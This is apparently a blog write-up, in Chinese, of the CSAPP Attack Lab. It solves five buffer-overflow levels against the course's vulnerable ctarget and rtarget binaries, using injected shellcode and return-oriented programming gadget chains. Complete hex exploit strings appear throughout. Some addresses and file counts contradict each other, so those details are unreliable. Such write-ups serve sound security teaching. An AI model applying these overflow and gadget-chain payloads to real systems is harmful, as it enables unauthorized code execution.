这是CSAPP的第四个实验,这个实验比较有意思,也比较难。通过这个实验我们可以更加熟悉GDB的使用和机器代码的栈和参数传递机制。
@[toc]
实验目的
本实验要求在两个有着不同安全漏洞的程序上实现五种攻击。通过完成本实验达到:
- 深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可能会如何利用这些安全漏洞。
- 深入理解x86-64机器代码的栈和参数传递机制。
- 深入理解x86-64指令的编码方式。
- 熟练使用gdb和objdump等调试工具。
更好地理解写出安全的程序的重要性,了解到一些编译器和操作系统提供的帮助改善程序安全性的特性。
做本次实验之前,建议好好阅读下本篇博文 面试官不讲武德,居然让我讲讲蠕虫和金丝雀!,理解缓冲区溢出时函数的返回值是如何被修改和精准定位的。
准备工作
在官网下载得到实验所需文件解压后会得到五个不同的文件。对六个文件简要说明如下所示。
README.txt:描述文件夹目录
ctarget:一个容易遭受code injection攻击的可执行程序。
rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw:一个生成攻击字符串的工具。
HEX2RAW期望由一个或多个空格分隔的两位十六进制值。所以如果你想创建一个十六进制值为0的字节,需要将其写为00。要创建单词0xdeadbeef应将“ ef be ad de”传递给HEX2RAW(请注意,小字节序需要反转)。
编译环境:Ubuntu 16.04,gcc 5.4.0。
注意:由于我们使用的是外网编译,所以在运行程序时加上-q参数。
内容简介
CTARGET和RTARGET从标准输入中读取字符串,使用的getbuf函数如下所示。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
函数Gets()类似于标准库函数gets(),从标准输入读入一个字符串,将字符串(带null结束符)存储在指定的目的地址。二者都只会简单地拷贝字节序列,无法确定目标缓冲区是否足够大以存储下读入的字符串,因此可能会超出目标地址处分配的存储空间。字符串不能包含字节值0x0a,这是换行符 \n 的ASCII码,Gets()遇到这个字节时会认为意在结束该字符串。
如果用户输入并由getbuf读取的字符串足够短,则很明显getbuf将返回1,如以下执行示例所示:
当输入一个很长的字符串时,将会出现段错误,具体如下图所示:
如上图所示,出现了缓冲区溢出错误。我们可以利用缓冲区溢出来修改程序的返回值,使它指向我们要求的地址来完成攻击。
CTARGET和RTARGET都采用几个不同的命令行参数:-h:打印可能的命令行参数列表
-q:本地测评,不要将结果发送到评分服务器
-i FILE:提供来自文件的输入,而不是来自标准输入的输入
代码注入攻击
Level 1
对于第1个例程,将不会注入新代码,而是缓冲区溢出漏洞利用字符串将重定向程序来执行现有程序。在CTARGET文件中中调用了函数getbuf。当getbuf执行完return语句后,程序通常会接着向下执行第5行的内容。
void test()
{
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
如果我们想改变这种行为。在文件ctarget中,我们要把getbuf函数的返回值指向函数touch1,touch1代码如下所示:
void touch1()
{
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
执行 objdump -d rtarget > rtarget.d 命令,将rtarget反汇编看下getbuf和touch1的反汇编代码。
00000000004017a8 :
4017a8: 48 83 ec 28 sub $0x28,%rsp # 开辟40字节的空间
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 ac 03 00 00 callq 401b60
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq # 正常返回,跳转到test函数的第5行继续执行
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 :
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 3d 20 00 01 movl $0x1,0x203d0e(%rip) # 6054dc
4017cb: 00 00 00
4017ce: bf e5 31 40 00 mov $0x4031e5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 cb 05 00 00 callq 401dad
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40
由上述反汇编代码可以知道,我们只要修改getbuf结尾处的ret指令,将其指向touch1函数的起始地址40183b就可以。要想将其准确指向40183b,要首先将getbuf的40字节内容填充满,使其溢出,再将40183b覆盖getbuf原来的返回地址即可。(这里不明白的可以看下文章面试官不讲武德,居然让我讲讲蠕虫和金丝雀!)
攻击字符串如下所示,命名为attack1.txt。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
执行以下指令进行测试
./hex2raw < attack1.txt > attackraw1.txt
./ctarget -qi attackraw1.txt
Level 2
第2阶段涉及注入少量代码作为攻击字符串的一部分。在文件ctarget中,touch2的代码如下所示:
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
反汇编如下所示:
00000000004017ec :
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx # val存在%rdi中
4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc
4017f9: 00 00 00
4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4
401802: 75 20 jne 401824
401804: be 08 32 40 00 mov $0x403208,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 8b 05 00 00 callq 401dad
401822: eb 1e jmp 401842
401824: be 30 32 40 00 mov $0x403230,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 2d 06 00 00 callq 401e6f
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40
Level 2 和 Level 1 差别主要在Level 2 多了一个val参数,我们在跳转到Level 2 时,还要将其参数传递过去,让他认为是自己的cookie 0x59b997fa。
因此,我们首先要将0x59b997fa赋值给%rdi,完成参数的传递。如何完成程序的跳转呢?在第一次ret的时候,将ret地址写为我们写好的攻击代码,在攻击代码中,将touch2的地址0x4017ec 压栈,汇编代码再ret到touch2。我们能完成这个攻击的前提是这个具有漏洞的程序在运行时的栈地址是固定的,不会因运行多次而改变,并且这个程序允许执行栈中的代码。汇编代码如下所示:
mov $0x59b997fa,%rdi
pushq $0x4017ec #压栈,ret时会将0x4017ec弹出执行
ret
使用如下指令将汇编代码反汇编
gcc -c attack2.s
objdump -d attack2.o > attack2.d
反汇编代码如下所示:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
内存中存储这段代码的地方便是getbuf开辟的缓冲区,我们利用gdb查看此时缓冲区的起始地址。
注意:缓冲区地址为0x5561dca0(栈底),因为分配了一个0x28的栈,插入的代码在字符串首,即栈顶(低地址),所以地址最终要取0x5561dca0-0x28 = 0x5561dc78。大坑!大坑!大坑!
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代码填充满整个缓冲区(40字节)以致溢出。
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。
最终测试结果正确
Level 3
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
/**/
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
与之前的类似,在getbuf函数返回的时候,执行touch3而不是test。touch3函数传入的是cookie的字符串表示。因此,我们要将%rdi设置为cookie的地址即字符串表示(0x59b997fa -> 35 39 62 39 39 37 66 61)。
00000000004018fa :
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4
401911: e8 36 ff ff ff callq 40184c
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d
40191a: 48 89 da mov %rbx,%rdx
40191d: be 58 32 40 00 mov $0x403258,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 72 04 00 00 callq 401dad
40193b: eb 21 jmp 40195e
40193d: 48 89 da mov %rbx,%rdx
401940: be 80 32 40 00 mov $0x403280,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 11 05 00 00 callq 401e6f
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40
在touch3中调用了hexmatch函数,这个函数中又开辟了110个字节的空间。如果我们把cookie放在栈中,执行hexmatch函数可能会把cookie的数据覆盖掉。我们可以直接通过植入指令来修改%rsp
栈指针的值。
fa 18 40 00 00 00 00 00 #touch3的地址
bf 90 dc 61 55 48 83 ec #mov edi, 0x5561dc90
30 c3 00 00 00 00 00 00 #sub rsp, 0x30 ret
35 39 62 39 39 37 66 61 #cookie
00 00 00 00 00 00 00 00
80 dc 61 55 #stack top的地址+8
返回导向编程攻击
对程序RTARGET进行代码注入攻击比对CTARGET进行难度要大得多,因为它使用两种技术来阻止此类攻击:
它使用栈随机化,以使堆栈位置在一次运行与另一次运行中不同。这使得不可能确定注入代码的位置。
它会将保存堆栈的内存部分标记为不可执行,因此,即使可以将程序计数器设置为注入代码的开头,程序也会因分段错误而失败。
幸运的是,聪明的人已经设计出了通过执行程序来在程序中完成有用的事情的策略。使用现有代码,而不是注入新代码。常用的是ROP策略, ROP的策略是识别现有程序中的字节序列,由一个或多个指令后跟指令ret组成。这种段称为gadget.。图2说明了如何设置堆栈以执行n个gadget的序列。在此图中,堆栈包含一系列gadget地址。每个gadget都包含一系列指令字节,其中最后一个是0xc3,对ret指令进行编码。当程序从该配置开始执行ret指令时,它将启动一系列gadget执行,其中ret指令位于每个gadget的末尾,从而导致程序跳至下一个开始。通过不断的跳转,拼凑出自己想要的结果来进行攻击的方式。(简单来说:就是利用现有程序的汇编代码,从不同的函数中挑选出自己想要的代码,通过不断跳转的方式将这些代码拼接起来组成我们需要的代码。)
下面是实验手册给出的部分指令所对应的字节码,我们需要在rtarget文件中挑选这些指令去执行之前level2和level3的攻击。
Level 2
这个实验与之前的Level 2 很相似,所以我们要做的就是将cookie的值赋值给%rdi,执行touch2。但是本题使用的是ROP攻击形式,不可能直接有movq $ 0x59b997fa
,%rdi这样的代码。Write up提示可以用movq
, popq
等来完成这个任务。因此我们可以把 $0x59b997fa放在栈中,再popq %rdi,利用popq我们可以把数据从栈中转移到寄存器中,而这个恰好是我们所需要的。代码有了,那我们就去寻找gadget。
思路确定了,接下来只需要根据Write up提供的encoding table来查找popq
对应encoding是否在程序中出现了。很容易找到popq %rdi对应的编码5f在这里出现,并且下一条就是ret:
402b18: 41 5f pop %r15
402b1a: c3 retq
所以答案就是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2
运行下结果如下所示
Level 3
这个实验是在之前Level3的基础上又增加了一个难度,具体要求是要用ROP跳转到touch3,并且传入一个和cookie一样的字符串。因为栈是随机化的,那么我们如何在栈地址随机化的情况下去获取我们放在栈中的字符串的首地址呢?我们只能通过操作%rsp的值来改变位置。在之前的Level 3 实验中也提到过,touch3函数会调用hexmatch函数,在hexmatch中会开辟110个字节的空间,如果字符串放在touch3函数返回地址的上方,那么cookie一定会被覆盖。因此,我们应该放在更高一点的位置,即使得hexmatch函数新开辟空间也够不到cookie字符串。所以,字符串的地址一定是%rsp 加上一个数。
可是WriteUp里给的encoding table都是mov pop nop 双编码等指令,并没有加法,但是gadget farm中有一条自带的指令,具体如下所示:
00000000004019d6 :
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax # %rax = %rdi + %rsi
4019da: c3 retq
我们可以通过这个函数来实现加法,因为lea (%rdi,%rsi,1) %rax就是%rax = %rdi + %rsi。所以,只要能够让%rdi和%rsi其中一个保存%rsp,另一个保存从stack中pop出来的偏移值,就可以表示cookie存放的地址,然后把这个地址mov到%rdi就大功告成了。
对应Write up里面的encoding table会发现,从%rax并不能直接mov到%rsi,而只能通过%eax->%edx->%ecx->%esi来完成这个。所以,兵分两路:
1.把%rsp存放到%rdi中
2.把偏移值(需要确定指令数后才能确定)存放到%rsi中
然后,再用lea那条指令把这两个结果的和存放到%rax中,再movq到%rdi中就完成了。
值得注意的是,上面两路完成任务的寄存器不能互换,因为从%eax到%esi这条路线上面的mov都是4个byte的操作,如果对%rsp的值采用这条路线,%rsp的值会被截断掉,最后的结果就错了。但是偏移值不会,因为4个bytes足够表示了。
最后结果:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00 #movq %rsp, %rax
a2 19 40 00 00 00 00 00 #movq %rax, %rdi
ab 19 40 00 00 00 00 00 #popq %rax
48 00 00 00 00 00 00 00 #偏移值
dd 19 40 00 00 00 00 00 #mov %eax, %edx
34 1a 40 00 00 00 00 00 #mov %edx, %ecx
13 1a 40 00 00 00 00 00 #mov %ecx, %esi
d6 19 40 00 00 00 00 00 #lea (%rsi, %rdi, 1) %rax
a2 19 40 00 00 00 00 00 #movq %rax, %rdi
fa 18 40 00 00 00 00 00 #touch3
35 39 62 39 39 37 66 61 #cookie
参考 https://zhuanlan.zhihu.com/p/...
测试结果如下:
总结
这几个实验挺有意思的,体验了一把黑客的感觉。最后一个实验还是有难度的,自己也参考网上其他人的解法。通过本次实验也加强了自己对函数调用栈,字节序,GDB,汇编的理解。X86有些指令用多了也就记住了,不需要刻意去记,熟能生巧!
养成习惯,先赞后看!如果觉得写的不错,欢迎关注,点赞,转发,谢谢!
如遇到排版错乱的问题,可以通过以下链接访问我的CSDN。
**CSDN:[CSDN搜索“嵌入式与Linux那些事”]